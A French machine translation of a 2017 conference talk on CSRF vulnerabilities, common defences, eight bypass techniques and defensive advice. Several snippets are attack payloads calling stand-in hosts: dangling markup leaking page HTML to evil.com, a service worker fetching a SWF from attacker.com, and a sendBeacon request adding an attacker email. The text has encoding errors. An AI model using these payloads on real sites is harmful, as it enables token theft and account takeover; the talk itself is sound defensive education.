Les vulnérabilités CSRF sont toujours d'actualité

CSRF (Cross Site Request Forgery) traduit en russe est un faux de demandes intersites. Mikhail Egorov ( 0ang3el ) dans son rapport sur Highload ++ 2017 a parlĂ© des vulnĂ©rabilitĂ©s CSRF, des mĂ©canismes de protection gĂ©nĂ©ralement utilisĂ©s et de la maniĂšre dont ils peuvent ĂȘtre contournĂ©s de toute façon. Et Ă  la fin, il a prĂ©sentĂ© une sĂ©rie de conseils sur la façon de se dĂ©fendre correctement contre les attaques CSRF. Sous cat dĂ©codage de cette performance.


À propos de l'orateur: Mikhail Egorov travaille chez Ingram Micro Cloud et est engagĂ© dans la sĂ©curitĂ© des applications. Pendant son temps libre, Mikhail est engagĂ© dans la recherche de vulnĂ©rabilitĂ©s et la chasse aux bogues et prend la parole lors de confĂ©rences de sĂ©curitĂ©.

Avis de non-responsabilité: les informations fournies sont uniquement l'opinion de l'auteur, toutes les correspondances sont aléatoires.


Ce monstre cookie est Ă  blĂąmer pour le fait que les attaques CSRF fonctionnent. Le fait est que de nombreuses applications Web utilisent des cookies (ci-aprĂšs, nous considĂ©rons appropriĂ© d'appeler des cookies en russe) pour contrĂŽler la session de l'utilisateur. Le navigateur est conçu de sorte que s'il dispose de cookies utilisateur pour ce domaine et ce chemin, il les envoie automatiquement avec la requĂȘte HTTP.

Les cookies


Un cookie est un petit morceau de donnĂ©es qu'un serveur Web envoie Ă  un client sous forme de nom = valeur dans un en-tĂȘte HTTP appelĂ© «Set-Cookie». Le navigateur stocke ces donnĂ©es sur l'ordinateur de l'utilisateur et, si nĂ©cessaire, envoie ces donnĂ©es au serveur Web dans le cadre d'une demande HTTP dans un en-tĂȘte HTTP appelĂ© «Cookie».

Les cookies peuvent avoir différents attributs, tels que: expire, domaine, sécurisé, httponly:

Les cookies sont apparus pour la premiÚre fois dans le navigateur Netscape en 1994. De nombreuses applications Web les utilisent encore pour gérer la session d'un utilisateur.


Voyons comment fonctionne l'attaque classique Cross Site Request Forgery (CSRF).

Disons que notre application Web a la possibilité de modifier l'adresse de livraison de l'utilisateur et utilise des cookies pour contrÎler la session.

Nous avons un formulaire HTML que l'utilisateur doit remplir: entrez l'adresse et cliquez sur le bouton "Enregistrer". En conséquence, une demande POST avec un formulaire HTML volera vers le backend. On voit que le navigateur y installe automatiquement des cookies de session de l'utilisateur. Le serveur principal, lorsqu'il reçoit une telle demande, voit qu'il existe une telle session, il est un utilisateur légitime et change son adresse de livraison.

Que peut faire un attaquant?


Il peut placer une page HTML sur son site attacker.com qui soumet en fait le formulaire HTML Ă  l' exemple . com . Étant donnĂ© que le navigateur insĂšre automatiquement les cookies de l'utilisateur dans la demande HTTP, le backend ne comprendra tout simplement pas si la demande est lĂ©gitime - est-ce le rĂ©sultat du remplissage du formulaire par l'utilisateur, ou s'agit-il d'une attaque CSRF - et changera l'adresse de livraison de l'utilisateur en une valeur avantageuse pour l'attaquant .

Il existe une autre option pour une attaque CSRF à l'aide de l'API XHR. Si beaucoup ont entendu parler de l'attaque CSRF à l'aide de formulaires HTML, ils en savent moins sur cette méthode, mais cela fonctionne également.


Notez l'attribut withCredentials, qui oblige le navigateur Ă  envoyer automatiquement des cookies utilisateur. Puisque la valeur de Content-type est application / x-www-form-urlencoded, le navigateur enverra cette demande sans demande de contrĂŽle en amont des options CORS, et encore une fois l'attaque CSRF fonctionnera.

Voyons plus clairement comment cela se produit.


Données sources:

  • application example.com vulnĂ©rable Ă  CSRF,
  • utilisateur
  • le site de l'attaquant, oĂč se trouve une page csrf-xhr.html.

L'utilisateur est authentifié dans l'application, qui se trouve sur example.com . S'il se rend sur le site de l'attaquant, une demande POST sera automatiquement exécutée, ce qui modifiera l'adresse de livraison. Le navigateur insérera automatiquement les cookies de session dans la demande et le backend changera l'adresse.

Historique des attaques CSRF


En gĂ©nĂ©ral, les attaques CSRF sont connues depuis 2001, date Ă  laquelle elles ont commencĂ© Ă  ĂȘtre activement exploitĂ©es. Au cours de la pĂ©riode 2008-2012, ces vulnĂ©rabilitĂ©s Ă©taient prĂ©sentes sur chaque premier site, notamment:

  1. YouTube
  2. Le New York Times;
  3. Badoo
  4. SlideShare
  5. Vimeo;
  6. Hulu;
  7. Recherche cinéma;
  8. ...

Quelle est la gravité des vulnérabilités CSRF?


En fait, tout dĂ©pend de la criticitĂ© de l'action vulnĂ©rable. Ce pourrait ĂȘtre:

  • Prise de contrĂŽle du compte - l'attaquant capture le compte de la victime en modifiant l'e-mail via CSRF.
  • Escalade de privilĂšges - augmentation des privilĂšges due au fait que l'attaquant via CSRF crĂ©e un nouvel utilisateur avec des droits Ă©levĂ©s sur le systĂšme.
  • ExĂ©cution de code Ă  distance - exĂ©cution de code en raison de l'opĂ©ration d'injection de commandes dans le panneau d'administration via CSRF.

Voyons ce que les classifications de vulnérabilité établies au niveau international disent de la gravité de la CSRF.

Dans le projet OWASP Top 10 , qui contient les 10 vulnérabilités les plus critiques de l'application, en 2010, les vulnérabilités CSRF occupaient la cinquiÚme place . Ensuite, les développeurs ont commencé à implémenter diverses options de protection, et déjà en 2013, les vulnérabilités CSRF sont passées à la 8e position.

Les vulnérabilités CSRF n'étaient pas du tout incluses dans la liste pour 2017, car soi-disant selon les statistiques, elles ne sont désormais détectées dans les tests de pénétration que dans 8% des cas .

Personnellement, je ne suis pas d'accord avec ces statistiques, car au cours des deux derniÚres années, j'ai trouvé de nombreuses vulnérabilités CSRF. Ensuite, je vais vous dire comment je l'ai fait.

Dans la classification Bugcrowd VRT (Vulnerability Rating Taxonomy), les vulnérabilités CSRF à l'échelle de l'application ont un degré de gravité P2 (élevé). Seule la gravité critique est au-dessus, c'est-à-dire qu'il s'agit de vulnérabilités assez graves .


Considérez quelles options de protection CSRF existent et comment chacune des options de protection fonctionne.

1. Jeton CSRF
  • Pour chaque session utilisateur, un jeton unique et hautement entropique est gĂ©nĂ©rĂ©.
  • Le jeton est insĂ©rĂ© dans le DOM de la page HTML ou est donnĂ© Ă  l'utilisateur via l'API.
  • L'utilisateur Ă  chaque demande associĂ©e Ă  des modifications doit envoyer un jeton dans le paramĂštre ou dans l'en-tĂȘte HTTP de la demande.
  • Étant donnĂ© que l'attaquant ne connaĂźt pas le jeton, l'attaque CSRF classique ne fonctionne pas.

2. Double soumettre le cookie
  • Encore une fois, un jeton unique et hautement entropique est gĂ©nĂ©rĂ© pour chaque session utilisateur, mais il est placĂ© dans des cookies.
  • L'utilisateur doit transmettre les mĂȘmes valeurs dans la demande dans la demande et dans le paramĂštre de demande.
  • Si ces deux valeurs coĂŻncident dans les cookies et dans le paramĂštre, il est considĂ©rĂ© que c'est une demande lĂ©gitime.
  • Étant donnĂ© que l'attaquant ne peut tout simplement pas modifier les cookies dans le navigateur de l'utilisateur, l'attaque CSRF classique ne fonctionne pas.

3. Protection basée sur le type de contenu
  • L'utilisateur doit envoyer une demande avec un en-tĂȘte Content-Type spĂ©cifique, par exemple application / json.
  • Puisqu'il est impossible d'envoyer une origine croisĂ©e Content-Type arbitraire dans le navigateur via le formulaire HTML ou l'API XHR, l'attaque CSRF classique ne fonctionne plus.

4. Protection basée sur le référent
  • L'utilisateur doit envoyer une demande avec une valeur d'en-tĂȘte Referer spĂ©cifique. Le backend le vĂ©rifie, s'il est incorrect, alors il est considĂ©rĂ© qu'il s'agit d'une attaque CSRF.
  • Étant donnĂ© que le navigateur ne peut pas envoyer de rĂ©fĂ©rent arbitraire via un formulaire HTML ou une API XHR, l'attaque CSRF classique ne fonctionne pas.

5. Confirmation du mot de passe / websudo
  • L'utilisateur doit confirmer l'action avec un mot de passe (ou secret).
  • Étant donnĂ© que l'attaquant ne le connaĂźt pas, l'attaque CSRF classique ne fonctionne pas.

6. Cookies SameSite dans Chrome, Opera
Il s'agit d'une nouvelle technologie conçue pour protéger contre la CSRF. Pour le moment, il ne fonctionne que dans deux navigateurs (Chrome, Opera).

  • Un cookie est dĂ©fini avec un attribut supplĂ©mentaire - samesite, qui peut avoir deux valeurs: lax ou strict.
  • L'essence de la technologie est que le navigateur n'envoie pas de cookies si la demande provient d'un autre domaine, par exemple, du site Web de l'attaquant. Ainsi, cela protĂšge Ă  nouveau contre l'attaque CSRF classique.

Mais, malheureusement, partout il y a des fonctionnalités de navigateurs, d'applications Web et de leur déploiement, qui vous permettent parfois de contourner la protection CSRF .

Par consĂ©quent, parlons maintenant de 8 façons de contourner la protection qui peuvent ĂȘtre utilisĂ©es dans la pratique.


Scénarios de contournement:


1. XSS (cross-sitescripting)

Si votre application Web dispose de XSS, cela la rend automatiquement vulnérable à CSRF, et il est difficile de vous en protéger. Vous ne pouvez que supporter .

2. Marquage pendant

Disons que notre application a une vulnérabilité à l'injection HTML, mais qu'il n'y a pas de XSS. Par exemple, il existe une stratégie de sécurité du contenu (CSP) qui protÚge contre XSS. Mais un attaquant peut toujours intégrer des balises HTML.

Si notre application implémente une protection basée sur des jetons CSRF, l'attaquant peut intégrer un tel HTML, ce ne sont pas des balises fermées d'image ou de formulaire:

<img src='https://evil.com/log_csrf?html= <form action='http://evil.com/log_csrf'><textarea> 

En conséquence, une partie de la page HTML DOM sera envoyée à la ressource de l'attaquant. Il est fort probable que si l'attaquant implémente correctement un tel HTML, ce qui arrive sur le site de l'attaquant contiendra un jeton CSRF.

Ainsi, aprĂšs avoir appris le jeton, l'attaquant pourra exploiter CSRF de maniĂšre classique.

3. Sous-domaine vulnérable

Supposons que nous ayons un sous-domaine foo.example.com et qu'il soit vulnĂ©rable Ă  la prise de contrĂŽle de sous-domaine ou XSS. À la suite de la prise de contrĂŽle du sous-domaine, l'attaquant contrĂŽle entiĂšrement le sous-domaine et peut y ajouter n'importe quelle page HTML ou exĂ©cuter du code JS dans le contexte du sous-domaine. Si notre sous-domaine est vulnĂ©rable Ă  de telles choses, l'attaquant pourra contourner les types de protection CSRF suivants:

  • Jetons CSRF;
  • Double soumettre le cookie;
  • Protection basĂ©e sur le type de contenu.

Supposons que notre application principale utilise CORS (Cross-Origin Resource Sharing) pour la communication entre domaines. Deux en-tĂȘtes sont insĂ©rĂ©s dans la rĂ©ponse du serveur:

  1. Access-Control-Allow-Origin: foo.example.com (foo.example.com - sous-domaine vulnérable);
  2. Access-Control-Allow-Credentials: vrai   - afin qu'en utilisant l'API XHR, il soit possible de faire une demande avec des cookies utilisateur.

Si ces conditions sont remplies, l'attaquant peut simplement lire le jeton CSRF du sous-domaine qu'il contrĂŽle et continuer Ă  exploiter le CSRF de maniĂšre classique.

L'option suivante. Supposons qu'il existe un fichier crossdomain.xml sur le domaine principal que nous voulons attaquer. Ce fichier est utilisé par les plugins flash et PDF pour l'interaction des sous-domaines, et l'accÚs à celui-ci à partir de tous les sous-domaines est autorisé.

 <cross-domain-policy> <allow-access-from domain="*.example.com" /> </cross-domain-policy> 

Si l'attaquant peut télécharger le fichier JS sur foo.example.com , alors dans ce cas, il peut utiliser l'API Service Worker pour le sous-domaine foo.example.com, qui donne en fait le fichier flash.

 var url = "https://attacker.com/bad.swf"; onfetch = (e) => { e.respondWith(fetch(url); } 

Comme nous avons crossdomain.xml sur le domaine principal, ce qui permet l'interaction des sous-domaines, l'attaquant lit simplement le jeton CSRF via ce SWF.

Soit dit en passant, une vulnérabilité similaire a récemment été trouvée dans Amazon, plus de détails ici .

MĂȘme si CORS n'est pas configurĂ© et qu'il n'y a pas de fichier crossdomain.xml, mais que la protection par cookie Double submit est utilisĂ©e, un attaquant peut simplement insĂ©rer des cookies du sous-domaine du domaine parent vers le chemin oĂč il souhaite exploiter CSRF, et ainsi contourner la protection par cookie Double submit.

4. Mauvais PDF

Cette solution de contournement est basée sur PDF. Adobe a un plugin PDF qui s'installe automatiquement lorsque vous installez Adobe Reader. Ce plugin prend en charge le soi-disant script FormCalc. Cependant, maintenant le plugin PDF d'Adobe ne fonctionne que dans IE11 et Firefox ESR.

FormCalc a deux grandes méthodes: get () et post (). Un attaquant utilisant la méthode get peut lire le token CSRF, en utilisant post, l'envoyer sur son site. L'attaquant obtient donc le jeton CSRF de la victime.

Supposons que nous ayons la possibilitĂ© de tĂ©lĂ©charger un fichier PDF dans une application Web. En fait, il peut mĂȘme s'agir d'un fichier d'un format diffĂ©rent, par exemple, un attaquant peut essayer de tĂ©lĂ©charger un PDF sous le couvert d'une image, qui est l'avatar de l'utilisateur.

L'application dispose d'une API sur le domaine principal, ce qui vous permet d'obtenir le contenu du fichier téléchargé. L'attaquant peut ensuite utiliser une page HTML qui incorpore le fichier PDF que l'attaquant a téléchargé sur example.com à l'aide de la balise embed.

 <h1>Nothing to see here!</h1> <embed src="https://example.com/shard/x1/sh/leak.pdf" width="0" height="0" type='application/pdf'> 

Fichier Leak.pdf :


Ce fichier contient un script FormCalc qui lit simplement la page Settings.action, oĂč se trouve un jeton CSRF dans le DOM et l'envoie Ă  l'aide de la mĂ©thode post au site de l'attaquant.

Étant donnĂ© que le PDF est tĂ©lĂ©chargĂ© sur example.com, ce PDF lui-mĂȘme a un accĂšs complet Ă  tout ce qui est d'origine https://example.com , et peut y lire des donnĂ©es sans violer le mode SOP (Same Origin Policy).

Un autre objectif est que pour le plugin PDF, peu importe le type de contenu du fichier PDF, et mĂȘme la rĂ©ponse HTTP peut contenir d'autres en-tĂȘtes (par exemple, Content-Disposition). Le plugin PDF rendra toujours ce PDF et exĂ©cutera le script FormCalc.

5. Injection de cookies

Si la protection Double cookie est utilisée, alors si l'attaquant peut introduire des cookies, le jeu est terminé.

L'une des options les plus populaires dans ce scénario est l' injection CRLF .

Si l'attaquant peut insĂ©rer des en-tĂȘtes supplĂ©mentaires dans la rĂ©ponse du serveur, il peut simplement ajouter l'en-tĂȘte Set-Cookie avec les cookies nĂ©cessaires et contourner la protection CSRF.

Une autre option est liée aux fonctionnalités de gestion des cookies du navigateur .

Par exemple, dans Safari, vous pouvez utiliser une virgule pour insĂ©rer de nouveaux cookies (cookies sĂ©parĂ©s par des virgules). Supposons que nous ayons un paramĂštre URL dans l'en-tĂȘte nommĂ© langue. Nous le traitons et Ă©crivons la valeur de la langue sĂ©lectionnĂ©e Ă  l'utilisateur dans des cookies. Si l'attaquant insĂšre une virgule, il peut insĂ©rer des cookies supplĂ©mentaires avec n'importe quel nom.

En outre, le contournement de la protection CSRF peut aider les bogues du navigateur . Par exemple, dans Firefox, il était possible d'incorporer des cookies via une image SVG ( CVE-2016-9078) . Si nous avons un éditeur HTML et que nous permettons à l'utilisateur d'insérer des balises d'image, l'attaquant peut simplement pointer vers l'image SVG dans l'attribut SRC, qui définira les cookies nécessaires.

6. Changer le type de contenu
Certains développeurs pensent que si vous utilisez un format de données non standard dans le corps d'une demande POST pour communiquer avec le backend, cela peut vous sauver de CSRF. Ce n'est en fait pas le cas.

À titre d'exemple, je citerai une vulnĂ©rabilitĂ© que j'ai rĂ©cemment dĂ©couverte dans un service de gestion de notes trĂšs populaire.

Il a utilisé une API qui utilise Apache Thrift (format de données binaires) et des cookies pour contrÎler la session. Par exemple, pour ajouter une nouvelle note, l'utilisateur devait envoyer une telle demande POST. Des données binaires ont été transmises dans le corps et Content-Type: application / x-thrift a été spécifié.

 POST /user/add/note HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://example.com Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081; Connection: close Content-Type: application/x-thrift Content-Length: 43 

En fait, ce Content-Type n'a pas Ă©tĂ© validĂ© dans le backend. Il Ă©tait possible de le changer en text / plain et d'utiliser l'API XHR pour exploiter cette vulnĂ©rabilitĂ© CSRF en passant simplement des donnĂ©es binaires dans le corps de la requĂȘte POST.


En fait, la sécurité basée sur le type de contenu est une option de sécurité trÚs médiocre. Il est contourné dans la plupart des cas.

7. Type de contenu non simple

GrĂące au formulaire HTML ou Ă  l'aide de l'API XHR, nous pouvons soumettre les types de contenu suivants:

  • texte / simple;
  • application / x-www-form-urlencoded;
  • multipart / form-data.

En fait, il est possible d'envoyer des valeurs de type de contenu via:

  • bogues dans les navigateurs (par exemple, Navigator.sendBeacon);
  • plugins: plugin Flash + redirection 307 et plugin PDF + redirection 307;
  • frameworks backend.

Certains frameworks, tels que le framework JAX-RS Apache CXF, prennent en charge un paramĂštre appelĂ© ctype dans l'URL. Vous pouvez spĂ©cifier n'importe quel type de contenu dans ce paramĂštre, le backend examinera ce paramĂštre et l'utilisera Ă  la place du type de contenu, qui est passĂ© Ă  l'en-tĂȘte ( lien vers la source).

Un bug assez connu dans le navigateur Chrome a été trouvé en 2015, aprÚs quoi, aprÚs environ un mois, il est entré en accÚs public, mais n'a été corrigé qu'en 2017. Ce bogue vous a permis d'envoyer une demande POST avec n'importe quel type de contenu à une autre origine à l'aide d'une API appelée Navigator.sendBeacon ().
À quoi ressemblait l'opĂ©ration?

 <script> function jsonreq() { var data = '{"action":"add-user-email","Email":"attacker@evil.com"}'; var blob = new Blob([data], {type : 'application/json;charset=utf-8'}); navigator.sendBeacon('https://example.com/home/rpc', blob ); } jsonreq(); </script> 

Nous créons un nouveau blob avec le type de contenu souhaité et l'envoyons simplement à l'aide de Navigator.sendBeacon ().

Un autre scénario de contournement qui fonctionne toujours et est pris en charge dans les navigateurs est de contourner l'utilisation du plugin flash.


MĂȘme s'il existe un site thehackerblog.com , oĂč il y a dĂ©jĂ  un lecteur flash prĂȘt, vous spĂ©cifiez simplement l'URL, l'en-tĂȘte, le type de contenu souhaitĂ© et les donnĂ©es que vous devez transfĂ©rer - vous envoyez, et une demande POST avec le type de contenu souhaitĂ© vole dans le backend.

Mais il y a une astuce: vous ne pouvez pas simplement spécifier l'URL du site que nous attaquons. Vous devez spécifier la ressource qui fera la redirection avec le code 307 sur la ressource que nous attaquons. Ensuite, cela fonctionnera.

8. Spoof Referer

La derniĂšre option pour contourner la protection CSRF est basĂ©e sur Referer. Il y a un bogue dans le navigateur Microsoft Edge , qui n'est toujours pas corrigĂ© et vous permet de truquer la valeur de Referer. Mais cela ne fonctionne, malheureusement, que pour les demandes GET. Si le backend attaquĂ© ne distingue pas GET de POST, alors ce bogue peut ĂȘtre exploitĂ©.

Si nous avons encore besoin de POST, il y a une petite astuce. Nous pouvons envoyer le rĂ©fĂ©rent d'en-tĂȘte en utilisant le plugin PDF et FormCalc.


Il y a environ un an, il Ă©tait possible d'utiliser le plug-in PDF pour envoyer des en-tĂȘtes en gĂ©nĂ©ral, y compris l'hĂŽte, mais Adobe a ensuite fermĂ© cette possibilitĂ© en crĂ©ant une liste noire d'en-tĂȘtes. Autrement dit, si nous spĂ©cifions Referer dans l'en-tĂȘte, cet en-tĂȘte ne fonctionnera tout simplement pas.

En gĂ©nĂ©ral, FormCalc nous permet de soumettre lĂ©galement tout type de contenu. Si nous insĂ©rons des caractĂšres de retour et de saut de ligne, nous pouvons ajouter des en-tĂȘtes supplĂ©mentaires Ă  la demande.

Que se passe-t-il si nous implĂ©mentons l'en-tĂȘte Referer http://example.com ?

Il est clair qu'il ne figure pas dans la liste noire et un en-tĂȘte avec le nom Referer http://example.com sera envoyĂ© au backend.

Certains serveurs, tels que WildFly ou Jboss, traitent l' espace comme la fin du nom de l'en-tĂȘte HTTP, c'est-Ă -dire les deux points ` : `. Ainsi, ces serveurs verront que Referer leur est venu avec la valeur http://example.com . Nous remplacerons donc Referer.


Ceci est le tableau récapitulatif. Les colonnes offrent une protection contre CSRF et les lignes fournissent des solutions de contournement. Dans chaque cellule, les navigateurs dans lesquels cette méthode fonctionne sont indiqués:

  • Tous les moyens pour tous les navigateurs;
  • Tous * signifie les navigateurs qui ne prennent pas en charge les cookies SameSite, c'est-Ă -dire Tout sauf Chrome et Opera.



L'option la plus cardinale et la plus efficace pour se protĂ©ger contre les attaques CSRF est de se dĂ©barrasser des cookies et d'utiliser l'en-tĂȘte avec des jetons.

Mais si vous n'ĂȘtes toujours pas prĂȘt Ă  abandonner les cookies pour gĂ©rer votre session utilisateur:

  • ModĂ©lisez les menaces et vĂ©rifiez la mise en Ɠuvre de la protection CSRF (voir tableau rĂ©capitulatif).
  • ImplĂ©mentez les cookies SameSite. DĂ©sormais, seuls deux navigateurs prennent en charge, mais Ă  l'avenir, il y en aura probablement plus.
  • Combinez diverses dĂ©fenses CSRF - dĂ©fense en profondeur.
  • Demandez Ă  l'utilisateur un mot de passe pour effectuer des actions critiques.
  • Donnez des fichiers tĂ©lĂ©chargĂ©s par l'utilisateur Ă  partir d'un domaine distinct.

En moins de six mois, et le prochain highload dans un mois - Highload ++ Siberia .

Nous souhaitons attirer votre attention sur certains des rapports sélectionnés:


Source: https://habr.com/ru/post/fr412855/


All Articles